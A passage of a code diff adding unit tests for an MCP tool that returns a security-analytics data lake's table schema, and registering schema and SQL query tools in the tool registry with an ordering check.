+
+ it("rejects more than 20 table names", () => {
+ // The lake's allowlist is single-digit today, but future plugins
+ // could grow it. The cap exists to prevent agents from accidentally
+ // sending massive arrays that would balloon prompt context once
+ // the schema is returned.
+ const tables = Array.from({ length: 21 }, (_, i) => `t${i}`);
+ expect(lakeSchemaTool.schema.safeParse({ tables }).success).toBe(false);
+ });
+
+ it("rejects empty table names", () => {
+ expect(
+ lakeSchemaTool.schema.safeParse({ tables: ["", "raw_events"] }).success,
+ ).toBe(false);
+ });
+});
+
+describe("lakeSchemaTool — handler", () => {
+ it("calls GET /api/v1/lake/schema", async () => {
+ const client: StubClient = {
+ post: vi.fn(),
+ get: vi.fn().mockResolvedValue({
+ tables: [
+ {
+ table: "aisoc.raw_events",
+ columns: [
+ { name: "id", type: "UUID" },
+ { name: "tenant_id", type: "UUID", comment: "Owning tenant" },
+ ],
+ },
+ ],
+ }),
+ };
+ await lakeSchemaTool.handle(makeCtx(client), {});
+ expect(client.get).toHaveBeenCalledTimes(1);
+ expect(client.get).toHaveBeenCalledWith("/api/v1/lake/schema");
+ });
+
+ it("returns the full catalog when 'tables' is omitted", async () => {
+ const client: StubClient = {
+ post: vi.fn(),
+ get: vi.fn().mockResolvedValue({
+ tables: [
+ {
+ table: "aisoc.raw_events",
+ columns: [{ name: "id", type: "UUID" }],
+ },
+ {
+ table: "aisoc.alert_metrics",
+ columns: [{ name: "alert_id", type: "UUID" }],
+ },
+ ],
+ }),
+ };
+ const result = await lakeSchemaTool.handle(makeCtx(client), {});
+ if (result.kind !== "json") throw new Error("expected json");
+ const data = result.data as {
+ total: number;
+ tables: Array<{ table: string }>;
+ };
+ expect(data.total).toBe(2);
+ expect(data.tables.map((t) => t.table)).toEqual([
+ "aisoc.raw_events",
+ "aisoc.alert_metrics",
+ ]);
+ });
+
+ it("filters client-side when 'tables' is provided", async () => {
+ // The server doesn't yet support a ``tables`` query parameter;
+ // we filter client-side so the tool surface is stable and the
+ // server can add the param later without a tool-shape change.
+ const client: StubClient = {
+ post: vi.fn(),
+ get: vi.fn().mockResolvedValue({
+ tables: [
+ {
+ table: "aisoc.raw_events",
+ columns: [{ name: "id", type: "UUID" }],
+ },
+ {
+ table: "aisoc.alert_metrics",
+ columns: [{ name: "alert_id", type: "UUID" }],
+ },
+ {
+ table: "aisoc.ioc_enrichments",
+ columns: [{ name: "ioc", type: "String" }],
+ },
+ ],
+ }),
+ };
+ const result = await lakeSchemaTool.handle(makeCtx(client), {
+ tables: ["aisoc.raw_events", "AISOC.IOC_ENRICHMENTS"], // mixed case
+ });
+ if (result.kind !== "json") throw new Error("expected json");
+ const data = result.data as {
+ total: number;
+ tables: Array<{ table: string }>;
+ };
+ expect(data.total).toBe(2);
+ expect(data.tables.map((t) => t.table).sort()).toEqual([
+ "aisoc.ioc_enrichments",
+ "aisoc.raw_events",
+ ]);
+ });
+
+ it("normalises missing column comments to empty strings", async () => {
+ // ClickHouse columns may or may not have comments; we always
+ // emit ``comment: ""`` rather than ``undefined`` so the schema
+ // shape is uniform for agents that don't handle "maybe field".
+ const client: StubClient = {
+ post: vi.fn(),
+ get: vi.fn().mockResolvedValue({
+ tables: [
+ {
+ table: "aisoc.raw_events",
+ columns: [
+ { name: "id", type: "UUID" }, // no comment
+ { name: "tenant_id", type: "UUID", comment: "Owning tenant" },
+ ],
+ },
+ ],
+ }),
+ };
+ const result = await lakeSchemaTool.handle(makeCtx(client), {});
+ if (result.kind !== "json") throw new Error("expected json");
+ const data = result.data as {
+ tables: Array<{
+ columns: Array<{ name: string; comment: string }>;
+ }>;
+ };
+ expect(data.tables[0]?.columns).toEqual([
+ { name: "id", type: "UUID", comment: "" },
+ { name: "tenant_id", type: "UUID", comment: "Owning tenant" },
+ ]);
+ });
+});
diff --git a/services/mcp/tests/tools.test.ts b/services/mcp/tests/tools.test.ts
index ab5a88d9b..7edbbfcd9 100644
--- a/services/mcp/tests/tools.test.ts
+++ b/services/mcp/tests/tools.test.ts
@@ -28,6 +28,11 @@ const EXPECTED_TOOLS = [
"aisoc_get_investigation",
"aisoc_replay_decision",
"aisoc_explain_step",
+ // Workstream 7 — tenant lake. ``schema`` is a discovery tool (lives in
+ // the discovery cluster of the listing); ``query`` is the heaviest tool
+ // we ship and lives in the action cluster.
+ "aisoc_lake_schema",
+ "aisoc_lake_query",
] as const;
describe("tool registry", () => {
@@ -102,6 +107,10 @@ describe("tool registry", () => {
expect(indexOf("aisoc_list_investigations")).toBeLessThan(
indexOf("aisoc_get_investigation"),
);
+ // Lake: schema is the typed-introspection cousin and must appear
+ // before the heavy SELECT tool, so an agent skimming the listing
+ // learns "ask for the schema first" before it sees the SQL hammer.
+ expect(indexOf("aisoc_lake_schema")).toBeLessThan(indexOf("aisoc_lake_query"));
});
it("places action/replay tools last", () => {